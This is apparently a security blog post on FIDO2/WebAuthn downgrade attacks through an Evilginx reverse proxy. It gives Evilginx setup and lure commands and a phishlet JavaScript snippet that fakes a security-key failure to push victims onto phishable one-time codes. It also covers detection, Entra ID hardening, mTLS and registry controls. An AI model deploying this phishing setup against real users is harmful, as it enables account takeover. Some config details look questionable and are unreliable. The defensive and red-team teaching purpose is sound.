Listen to this Post
Introduction:
FIDO2 and WebAuthn are widely hailed as phishing‑resistant authentication methods because they bind credentials to a website’s origin and never expose secrets to the user. However, a newly revealed technique, presented by Evilginx creator Kuba Gretzky at x33fcon, demonstrates how attackers can force a downgrade of FIDO Multi‑Factor Authentication (MFA) to less secure, phishable fallbacks – such as TOTP or SMS – effectively neutralizing the security benefits of hardware tokens.
Learning Objectives:
- Understand how the FIDO MFA downgrade attack tricks browsers and users into falling back to weaker authentication.
- Learn to simulate this attack using Evilginx and analyse the interception of fallback credentials.
- Implement defensive controls to block MFA downgrade vectors across Microsoft Entra ID, Google Workspace, and custom WebAuthn deployments.
You Should Know:
1. Anatomy of the FIDO MFA Downgrade Attack
This attack exploits how many authentication flows handle fallback mechanisms when the primary FIDO method “fails”. An attacker sets up a reverse proxy (e.g., Evilginx) between the victim and the legitimate login page. The proxy intercepts the initial request and alters the authentication policy displayed to the browser, suggesting that the FIDO key is unsupported or unavailable. The victim then sees a fallback option like “Enter code from authenticator app” or “Text me a code”. Because the proxy relays all traffic, the attacker captures the fallback credential in plaintext.
Step‑by‑step guide explaining what this does and how to use it (educational / red team perspective):
- Setup Evilginx on a VPS (Linux):
Install dependencies sudo apt update && sudo apt install -y golang git git clone https://github.com/kgretzky/evilginx2.git cd evilginx2 make install sudo ./evilginx -p /path/to/phony/phishlets
- Configure a phishlet for your target service (e.g., Microsoft Office 365). Ensure the phishlet modifies the authentication policy to promote fallback methods.
-
Launch the attack:
./evilginx -p /path/to/phony/phishlets <blockquote> config domain yourdomain.com config ip 1.2.3.4 Your VPS IP phishlet enable o365 lures create o365
- Start the proxy and wait for a victim. Once the victim enters a TOTP or SMS code, Evilginx logs it in
/path/to/phony/sessions/.
View captured credentials cat sessions//creds.txt
This demonstrates how a FIDO‑enabled flow can be downgraded without any vulnerability in the FIDO protocol itself – only in how the application handles fallback logic.
2. Detecting MFA Downgrade Attempts in Real‑Time
Defenders can monitor for anomalies indicating a forced fallback. One signal is an abrupt change in authentication requirements – for example, a user who normally uses a YubiKey suddenly providing a TOTP from an unrecognised IP. Another signal is inconsistent user‑agent headers or JavaScript modifications from a proxy.
Step‑by‑step guide for detection (Windows / Linux + SIEM):
On Windows (Event Viewer – AAD / Entra ID logs):
- Navigate to
Applications and Services Logs > Microsoft > Windows > AAD > Operational. - Look for Event ID 1203 (MFA method change) or any event indicating “Authentication requirement downgraded”.
- Use PowerShell to extract fallback events:
Get-WinEvent -LogName "Microsoft-Windows-AAD/Operational" | Where-Object { $<em>.Message -like "fallback" -or $</em>.Message -like "TOTP" } | Format-Table TimeCreated, Message -AutoSize
On Linux (analyzing proxy logs from a reverse proxy like nginx):
Look for unusual parameter injection (e.g., &amfauthmethod=SMS)
grep -E "mfa_method|fallback|sms|authenticator" /var/log/nginx/access.log | awk '{print $1, $7, $NF}' | sort | uniq -c
- Integrate with a SIEM (e.g., Splunk, Wazuh) to alert when a user authenticates with a fallback method from a new geolocation or device.
3. Hardening Authentication Flows Against FIDO Downgrade
To prevent the attack, organisations must eliminate unsafe fallback paths. The most secure configuration is to disable all fallback methods when FIDO2 is enabled. If fallbacks are required by policy, they must be protected with phishing‑resistant mechanisms (e.g., another hardware key or platform authenticator with origin binding).
Step‑by‑step guide for Microsoft Entra ID (Azure AD):
- Disable SMS and voice call MFA:
Go toAzure AD > Security > Authentication methods > Policies. Set “SMS” and “Voice call” to `Disabled` for all users. -
Remove TOTP (software authenticator) fallback:
Under the same policies, set “Microsoft Authenticator” to `Disabled` for the “any” mode. Instead, require “Authenticator with number matching and location context” – though note this is still less secure than FIDO2. -
Configure Conditional Access to block fallback attempts:
Connect to Microsoft Graph PowerShell
Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"
Create a policy that requires FIDO2 only
$conditions = @{
Applications = @{ IncludeApplications = @("All") }
Users = @{ IncludeUsers = @("All") }
GrantControls = @{
Operator = "OR"
BuiltInControls = @("mfa")
AuthenticationStrength = @{ DisplayName = "FIDO2 Only" }
}
}
New-MgIdentityConditionalAccessPolicy -DisplayName "Block MFA Downgrade" -Conditions $conditions -GrantControls $conditions.GrantControls
- Test the policy by attempting a fallback login – it should fail.
4. Evilginx Phishlet Customisation for FIDO Downgrade
Advanced red teamers can create custom phishlets that specifically target WebAuthn’s `allowCredentials` list. By modifying the JavaScript served to the victim’s browser, the phishlet can trigger an error – e.g., “Your security key is not recognised” – and immediately present a fallback menu.
Step‑by‑step guide for writing a custom phishlet:
- Clone an existing template (e.g., `git clone https://github.com/kgretzky/evilginx2-phishlets`).
- Edit the YAML phishlet to replace the login form’s `onsubmit` handler. Example snippet (inside the phishlet’s `proxy` section):
- name: "fido_downgrade"
type: "inject_js"
location: "head"
code: |
if (navigator.credentials && navigator.credentials.get) {
navigator.credentials.get = function() {
alert('Your security key failed. Please use one-time code instead.');
document.getElementById('fallback_section').style.display = 'block';
return Promise.reject(new Error('Fallback triggered'));
};
}
- Deploy the phishlet and test against a lab environment.
This illustrates how client‑side coercion can force a downgrade without any server‑side vulnerability – purely by manipulating the user’s perception.
- Mitigating Against Proxy‑Based MFA Downgrades with TLS Inspection and Session Binding
Because Evilginx operates as a man‑in‑the‑middle proxy, one defence is to enforce mutual TLS (mTLS) or certificate pinning on corporate devices. Additionally, session binding (tying authentication to the original TLS channel) prevents replayed credentials.
Step‑by‑step guide for Linux (using nginx with mTLS):
- Generate client and server certificates:
openssl req -x509 -newkey rsa:4096 -keyout ca.key -out ca.crt -days 365 -nodes openssl req -newkey rsa:4096 -keyout client.key -out client.csr -nodes openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out client.crt -days 365
- Configure nginx to require client certificate validation:
server {
listen 443 ssl;
ssl_certificate /etc/nginx/server.crt;
ssl_certificate_key /etc/nginx/server.key;
ssl_client_certificate /etc/nginx/ca.crt;
ssl_verify_client on;
location /auth {
if ($ssl_client_verify != SUCCESS) {
return 403;
}
proxy_pass https://internal-idp;
}
}
- Enforce the same client certificate on all corporate browsers via GPO (Windows) or MDM policy. Without the valid cert, Evilginx cannot complete the TLS handshake.
6. Testing Your Organisation’s Resilience to FIDO Downgrade
Run a controlled phishing simulation that attempts to downgrade FIDO MFA. Use a tool like Evilginx or Modlishka (a similar reverse proxy) on an isolated test domain.
Step‑by‑step guide for a safe internal simulation:
- Set up a test OIDC application (e.g., using Keycloak) with FIDO2 and fallback TOTP enabled.
- Deploy Evilginx on a lab VPS as described in Section 1.
- Recruit a test user who normally uses a YubiKey. Ask them to browse to your Evilginx lure page.
- Observe if they switch to TOTP. If they do, the test fails (i.e., your organisation is vulnerable).
- Remediate by applying the hardening steps from Section 3 and repeat the test.
7. Windows Registry Hardening for WebAuthn API Protection
On Windows endpoints, you can restrict which WebAuthn authenticators are allowed, preventing software‑based fallbacks that are easier to phish.
Step‑by‑step guide:
- Open Registry Editor as Administrator.
- Navigate to
HKLM\SOFTWARE\Policies\Microsoft\FIDO. - Create a new DWORD (32‑bit) value named `AllowPlatformAuthenticator` and set it to `0` (disables Windows Hello, which some fallback flows use).
- Create another DWORD `AllowU2FAuthenticator` and set it to `1` (only hardware security keys).
- Apply via Group Policy:
Deploy to all domain computers Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\FIDO" -Name "AllowPlatformAuthenticator" -Value 0 -Type DWord Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\FIDO" -Name "AllowU2FAuthenticator" -Value 1 -Type DWord
- Verify with a user who attempts to register a software authenticator – the browser should show no option.
What Undercode Say:
- Key Takeaway 1: The FIDO downgrade attack is not a cryptographic break of WebAuthn – it is a UX and policy bypass that many organisations overlook when leaving fallback MFA methods enabled.
- Key Takeaway 2: Defenders must ruthlessly eliminate SMS, voice, and TOTP fallbacks wherever FIDO2 is deployed, or accept that “phishing‑resistant” claims are effectively void.
- Key Takeaway 3: Proactive monitoring for sudden MFA method changes and deployment of mTLS or certificate pinning are the most effective countermeasures against reverse‑proxy attacks like Evilginx.
Prediction:
As this technique becomes mainstream, we will see a significant uptick in targeted attacks against high‑value accounts protected by FIDO tokens. In response, identity providers will start offering “strict mode” authentication policies that completely block fallback methods – not just hide them in the UI. Within 12–18 months, regulatory frameworks like PCI DSS v4.0 and NIST SP 800‑63B will likely mandate the removal of fallback MFA for any system claiming AAL3 (high assurance). Organisations that fail to adapt will experience a wave of credential theft that bypasses their “unhackable” hardware tokens.
▶️ Related Video (78% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Kubagretzky Super – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
